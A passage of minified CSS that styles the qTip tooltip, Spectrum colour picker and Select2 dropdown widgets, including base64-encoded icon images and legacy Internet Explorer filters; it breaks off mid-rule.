.qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}.sp-container{position:absolute;top:0;left:0;display:inline-block;z-index:9999994;overflow:hidden}.sp-container.sp-flat{position:relative}.sp-container,.sp-container *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.sp-top{position:relative;width:100%;display:inline-block}.sp-top-inner{position:absolute;top:0;left:0;bottom:0;right:0}.sp-color{position:absolute;top:0;left:0;bottom:0;right:20%}.sp-hue{position:absolute;top:0;right:0;bottom:0;left:84%;height:100%}.sp-clear-enabled .sp-hue{top:33px;height:77.5%}.sp-fill{padding-top:80%}.sp-sat,.sp-val{position:absolute;top:0;left:0;right:0;bottom:0}.sp-alpha-enabled .sp-top{margin-bottom:18px}.sp-alpha-enabled .sp-alpha{display:block}.sp-alpha-handle{position:absolute;top:-4px;bottom:-4px;width:6px;left:50%;cursor:pointer;border:1px solid #000;background:#fff;opacity:.8}.sp-alpha{display:none;bottom:-14px;right:0;left:0;height:8px}.sp-alpha-inner{border:1px solid #333}.sp-clear{display:none}.sp-clear.sp-clear-display{background-position:center}.sp-clear-enabled .sp-clear{display:block;position:absolute;top:0;right:0;bottom:0;left:84%;height:28px}.sp-alpha,.sp-alpha-handle,.sp-clear,.sp-container,.sp-container button,.sp-container.sp-dragging .sp-input,.sp-dragger,.sp-preview,.sp-replacer,.sp-slider{-webkit-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}.sp-container.sp-buttons-disabled .sp-button-container,.sp-container.sp-input-disabled .sp-input-container,.sp-container.sp-palette-buttons-disabled .sp-palette-button-container,.sp-initial-disabled .sp-initial,.sp-palette-disabled .sp-palette-container,.sp-palette-only .sp-picker-container{display:none}.sp-sat{background-image:-webkit-gradient(linear,0 0,100% 0,from(#FFF),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(left,#FFF,rgba(204,154,129,0));background-image:-moz-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-o-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-ms-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:linear-gradient(to right,#fff,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)";filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81')}.sp-val{background-image:-webkit-gradient(linear,0 100%,0 0,from(#000),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-moz-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-o-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-ms-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:linear-gradient(to top,#000,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000')}.sp-hue{background:-moz-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-ms-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-o-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-webkit-gradient(linear,left top,left bottom,from(red),color-stop(.17,#ff0),color-stop(.33,#0f0),color-stop(.5,#0ff),color-stop(.67,#00f),color-stop(.83,#f0f),to(red));background:-webkit-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:linear-gradient(to bottom,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%)}.sp-1{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00')}.sp-2{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00')}.sp-3{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff')}.sp-4{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff')}.sp-5{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff')}.sp-6{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000')}.sp-hidden{display:none!important}.sp-cf:after,.sp-cf:before{content:"";display:table}.sp-cf:after{clear:both}@media (max-device-width:480px){.sp-color{right:40%}.sp-hue{left:63%}.sp-fill{padding-top:60%}}.sp-dragger{border-radius:5px;height:5px;width:5px;border:1px solid #fff;background:#000;cursor:pointer;position:absolute;top:0;left:0}.sp-slider{position:absolute;top:0;cursor:pointer;height:3px;left:-1px;right:-1px;border:1px solid #000;background:#fff;opacity:.8}.sp-container{border-radius:0;background-color:#ECECEC;border:1px solid #f0c49B;padding:0}.sp-clear,.sp-color,.sp-container,.sp-container button,.sp-container input,.sp-hue{font:400 12px "Lucida Grande","Lucida Sans Unicode","Lucida Sans",Geneva,Verdana,sans-serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.sp-top{margin-bottom:3px}.sp-clear,.sp-color,.sp-hue{border:1px solid #666}.sp-input-container{float:right;width:100px;margin-bottom:4px}.sp-initial-disabled .sp-input-container{width:100%}.sp-input{font-size:12px!important;border:1px inset;padding:4px 5px;margin:0;width:100%;background:0 0;border-radius:3px;color:#222}.sp-input:focus{border:1px solid orange}.sp-input.sp-validation-error{border:1px solid red;background:#fdd}.sp-palette-container,.sp-picker-container{float:left;position:relative;padding:10px 10px 300px;margin-bottom:-290px}.sp-picker-container{width:172px;border-left:solid 1px #fff}.sp-palette-container{border-right:solid 1px #ccc}.sp-palette-only .sp-palette-container{border:0}.sp-palette .sp-thumb-el{display:block;position:relative;float:left;cursor:pointer}.sp-palette .sp-thumb-el.sp-thumb-active,.sp-palette .sp-thumb-el:hover{border-color:orange}.sp-initial{float:left;border:1px solid #333}.sp-initial span{width:30px;height:25px;border:none;display:block;float:left;margin:0}.sp-initial .sp-clear-display{background-position:center}.sp-button-container,.sp-palette-button-container{float:right}.sp-replacer{margin:0;overflow:hidden;cursor:pointer;padding:4px;display:inline-block;border:1px solid #91765d;background:#eee;color:#333;vertical-align:middle}.sp-replacer.sp-active,.sp-replacer:hover{border-color:#F0C49B;color:#111}.sp-replacer.sp-disabled{cursor:default;border-color:silver;color:silver}.sp-dd{padding:2px 0;height:16px;line-height:16px;float:left;font-size:10px}.sp-preview{width:25px;height:20px;border:1px solid #222;margin-right:5px;float:left;z-index:0}.sp-palette{max-width:220px}.sp-palette .sp-thumb-el{width:16px;height:16px;margin:2px 1px;border:1px solid #d0d0d0}.sp-container{padding-bottom:0}.sp-container button{background-color:#eee;background-image:-webkit-linear-gradient(top,#eee,#ccc);background-image:-moz-linear-gradient(top,#eee,#ccc);background-image:-ms-linear-gradient(top,#eee,#ccc);background-image:-o-linear-gradient(top,#eee,#ccc);background-image:linear-gradient(to bottom,#eee,#ccc);border:1px solid #ccc;border-bottom:1px solid #bbb;border-radius:3px;color:#333;font-size:14px;line-height:1;padding:5px 4px;text-align:center;text-shadow:0 1px 0 #eee;vertical-align:middle}.sp-container button:hover{background-color:#ddd;background-image:-webkit-linear-gradient(top,#ddd,#bbb);background-image:-moz-linear-gradient(top,#ddd,#bbb);background-image:-ms-linear-gradient(top,#ddd,#bbb);background-image:-o-linear-gradient(top,#ddd,#bbb);background-image:linear-gradient(to bottom,#ddd,#bbb);border:1px solid #bbb;border-bottom:1px solid #999;cursor:pointer;text-shadow:0 1px 0 #ddd}.sp-container button:active{border:1px solid #aaa;border-bottom:1px solid #888;-webkit-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-moz-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-ms-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-o-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee}.sp-cancel{font-size:11px;color:#d93f3f!important;margin:0 5px 0 0;padding:2px;vertical-align:middle;text-decoration:none}.sp-cancel:hover{color:#d93f3f!important;text-decoration:underline}.sp-palette span.sp-thumb-active,.sp-palette span:hover{border-color:#000}.sp-alpha,.sp-preview,.sp-thumb-el{position:relative;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.sp-alpha-inner,.sp-preview-inner,.sp-thumb-inner{display:block;position:absolute;top:0;left:0;bottom:0;right:0}.sp-palette .sp-thumb-inner{background-position:50% 50%;background-repeat:no-repeat}.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=)}.sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=)}.sp-clear-display{background-repeat:no-repeat;background-position:center;background-image:url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==)}.select2-container{margin:0;position:relative;display:inline-block;zoom:1;vertical-align:middle}.select2-container,.select2-drop,.select2-search,.select2-search input{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.select2-container .select2-choice{display:block;height:26px;padding:0 0 0 8px;overflow:hidden;position:relative;border:1px solid #aaa;white-space:nowrap;line-height:26px;color:#444;text-decoration:none;border-radius:4px;background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#fff;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.5,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 50%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to top,#eee 0,#fff 50%)}html[dir=rtl] .select2-container .select2-choice{padding:0 8px 0 0}.select2-container.select2-drop-above .select2-choice{border-bottom-color:#aaa;border-radius:0 0 4px 4px;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.9,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 90%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 90%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to bottom,#eee 0,#fff 90%)}.select2-container.select2-allowclear .select2-choice .select2-chosen{margin-right:42px}.select2-container .select2-choice>.select2-chosen{margin-right:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;float:none;width:auto}html[dir=rtl] .select2-container .select2-choice>.select2-chosen{margin-left:26px;margin-right:0}.select2-container .select2-choice abbr{display:none;width:12px;height:12px;position:absolute;right:24px;top:8px;font-size:1px;text-decoration:none;border:0;background:url(select2.png) right top no-repeat;cursor:pointer;outline:0}.select2-container.select2-allowclear .select2-choice abbr{display:inline-block}.select2-container .select2-choice abbr:hover{background-position:right -11px;cursor:pointer}.select2-drop-mask{border:0;margin:0;padding:0;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:9998;background-color:#fff;filter:alpha(opacity=0)}.select2-drop{width:100%;margin-top:-1px;position:absolute;z-index:9999;top:100%;background:#fff;color:#000;border:1px solid #aaa;border-top:0;border-radius:0 0 4px 4px;-webkit-box-shadow:0 4px 5px rgba(0,0,0,.15);box-shadow:0 4px 5px rgba(0,0,0,.15)}.select2-drop.select2-drop-above{margin-top:1px;border-top:1px solid #aaa;border-bottom:0;border-radius:4px 4px 0 0;-webkit-box-shadow:0 -4px 5px rgba(0,0,0,.15);box-shadow:0 -4px 5px rgba(0,0,0,.15)}.select2-drop-active{border:1px solid #5897fb;border-top:none}.select2-drop.select2-drop-above.select2-drop-active{border-top:1px solid #5897fb}.select2-drop-auto-width{border-top:1px solid #aaa;width:auto}.select2-drop-auto-width .select2-search{padding-top:4px}.select2-container .select2-choice .select2-arrow{display:inline-block;width:18px;height:100%;position:absolute;right:0;top:0;border-left:1px solid #aaa;border-radius:0 4px 4px 0;background:#ccc;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#ccc),color-stop(.6,#eee)) #ccc;background:-webkit-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;background:-moz-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#cccccc', GradientType=0);background:linear-gradient(to top,#ccc 0,#eee 60%) #ccc}html[dir=rtl] .select2-container .select2-choice .select2-arrow{left:0;right:auto;border-left:none;border-right:1px solid #aaa;border-radius:4px 0 0 4px}.select2-container .select2-choice .select2-arrow b{display:block;width:100%;height:100%;background:url(select2.png) 0 1px no-repeat}html[dir=rtl] .select2-container .select2-choice .select2-arrow b{background-position:2px 1px}.select2-search{display:inline-block;width:100%;min-height:26px;margin:0;padding-left:4px;padding-right:4px;position:relative;z-index:10000;white-space:nowrap}.select2-search input{width:100%;height:auto!important;min-height:26px;padding:4px 20px 4px 5px;margin:0;outline:0;font-family:sans-serif;font-size:1em;border:1px solid #aaa;border-radius:0;-webkit-box-shadow:none;box-shadow:none;background:url(select2.png) 100% -22px no-repeat #fff;background:url(select2.png) 100% -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}html[dir=rtl] .select2-search input{padding:4px 5px 4px 20px;background:url(select2.png) -37px -22px no-repeat #fff;background:url(select2.png) -37px -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select2-drop.select2-drop-above .select2-search input{margin-top:4px}.select2-search input.select2-active{background:url(select2-spinner.gif) 100% no-repeat #fff;background:url(select2-spinner.gif) 100% no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select2-container-active .select2-choice,.select2-container-active .select2-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select2-dropdown-open .select2-choice{border-bottom-color:transparent;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;border-bottom-left-radius:0;border-bottom-right-radius:0;background-color:#eee;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center bottom,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center bottom,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to top,#fff 0,#eee 50%)}.select2-dropdown-open.select2-drop-above .select2-choice,.select2-dropdown-open.select2-drop-above .select2-choices{border:1px solid #5897fb;border-top-color:transparent;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center top,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center top,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to bottom,#fff 0,#eee 50%)}.select2-dropdown-open .select2-choice .select2-arrow{background:0 0;border-left:none;filter:none}html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow{border-right:none}.select2-dropdown-open .select2-choice .select2-arrow b{background-position:-18px 1px}html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow b{background-position:-16px 1px}.select2-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.select2-results{max-height:200px;padding:0 0 0 4px;margin:4px 4px 4px 0;position:relative;overflow-x:hidden;overflow-y:auto;-webkit-tap-highlight-color:transparent}html[dir=rtl] .select2-results{padding:0 4px 0 0;margin:4px 0 4px 4px}.select2-results ul.select2-result-sub{margin:0;padding-left:0}.select2-results li{list-style:none;display:list-item;background-image:none}.select2-results li.select2-result-with-children>.select2-result-label{font-weight:700}.select2-results .select2-result-label{padding:3px 7px 4px;margin:0;cursor:pointer;min-height:1em;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.select2-results-dept-1 .select2-result-label{padding-left:20px}.select2-results-dept-2 .select2-result-label{padding-left:40px}.select2-results-dept-3 .select2-result-label{padding-left:60px}.select2-results-dept-4 .select2-result-label{padding-left:80px}.select2-results-dept-5 .select2-result-label{padding-left:100px}.select2-results-dept-6 .select2-result-label{padding-left:110px}.select2-results-dept-7 .select2-result-label{padding-left:120px}.select2-results .select2-highlighted{background:#3875d7;color:#fff}.select2-results li em{background:#feffde;font-style:normal}.select2-results .select2-highlighted em{background:0 0}.select2-results .select2-highlighted ul{background:#fff;color:#000}.select2-results .select2-ajax-error,.select2-results .select2-no-results,.select2-results .select2-searching,.select2-results .select2-selection-limit{background:#f4f4f4;display:list-item;padding-left:5px}.select2-results .select2-disabled.select2-highlighted{color:#666;background:#f4f4f4;display:list-item;cursor:default}.select2-results .select2-disabled{background:#f4f4f4;display:list-item;cursor:default}.select2-results .select2-selected{display:none}.select2-more-results.select2-active{background:url(select2-spinner.gif) 100% no-repeat #f4f4f4}.select2-results .select2-ajax-error{background:rgba(255,50,50,.2)}.select2-more-results{background:#f4f4f4;display:list-item}.select2-container.select2-container-disabled .select2-choice{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select2-container.select2-container-disabled .select2-choice .select2-arrow{background-color:#f4f4f4;background-image:none;border-left:0}.select2-container.select2-container-disabled .select2-choice abbr{display:none}.select2-container-multi .select2-choices{height:auto!important;height:1%;margin:0;padding:0 5px 0 0;position:relative;border:1px solid #aaa;cursor:text;overflow:hidden;background-color:#fff;background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(1%,#eee),color-stop(15%,#fff));background-image:-webkit-linear-gradient(top,#eee 1%,#fff 15%);background-image:-moz-linear-gradient(top,#eee 1%,#fff 15%);background-image:linear-gradient(to bottom,#eee 1%,#fff 15%)}html[dir=rtl] .select2-container-multi .select2-choices{padding:0 0 0 5px}.select2-locked{padding:3px 5px!important}.select2-container-multi .select2-choices{min-height:26px}.select2-container-multi.select2-container-active .select2-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select2-container-multi .select2-choices li{float:left;list-style:none}html[dir=rtl] .select2-container-multi .select2-choices li{float:right}.select2-container-multi .select2-choices .select2-search-field{margin:0;padding:0;white-space:nowrap}.select2-container-multi .select2-choices .select2-search-field input{padding:5px;margin:1px 0;font-family:sans-serif;font-size:100%;color:#666;outline:0;border:0;-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.select2-container-multi .select2-choices .select2-search-field input.select2-active{background:url(select2-spinner.gif) 100% no-repeat #fff!important}.select2-default{color:#999!important}.select2-container-multi .select2-choices .select2-search-choice{padding:3px 5px 3px 18px;margin:3px 0 3px 5px;position:relative;line-height:13px;color:#333;cursor:default;border:1px solid #aaa;border-radius:3px;-webkit-box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#e4e4e4;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),color-stop(100%,#eee));background-image:-webkit-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:-moz-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:linear-gradient(to bottom,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%)}html[dir=rtl] .select2-container-multi .select2-choices .select2-search-choice{margin:3px 5px 3px 0;padding:3px 18px 3px 5px}.select2-container-multi .select2-choices .select2-search-choice .select2-chosen{cursor:default}.select2-container-multi .select2-choices .select2-search-choice-focus{background:#d4d4d4}.select2-search-choice-close{display:block;width:12px;height:13px;position:absolute;right:3px;top:4px;font-size:1px;outline:0;background:url(select2.png) right top no-repeat}html[dir=rtl] .select2-search-choice-close{right:auto;left:3px}.select2-container-multi .select2-search-choice-close{left:3px}html[dir=rtl] .select2-container-multi .select2-search-choice-close{left:auto;right:2px}.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover,.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close{background-position:right -11px}.select2-container-multi.select2-container-disabled .select2-choices{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice{padding:3px 5px;border:1px solid #ddd;background-image:none;background-color:#f4f4f4}.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close{display:none;background:0 0}.select2-result-selectable .select2-match,.select2-result-unselectable .select2-match{text-decoration:underline}.select2-offscreen,.select2-offscreen:focus{clip:rect(0 0 0 0)!important;width:1px!important;height:1px!important;border:0!important;margin:0!important;padding:0!important;overflow:hidden!important;position:absolute!important;outline:0!important;left:0!important;top:0!important}.select2-display-none{display:none}.select2-measure-scrollbar{position:absolute;top:-10000px;left:-10000px;width:100px;height:100px;overflow:scroll}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:2dppx){.select2-container .select2-choice .select2-arrow b,.select2-container .select2-choice abbr,.select2-search input,.select2-search-choice-close{background-image:url(select2x2.png)!important;background-repeat:no-repeat!important;background-size:60px 40px!important}.select2-search input{background-position:100% 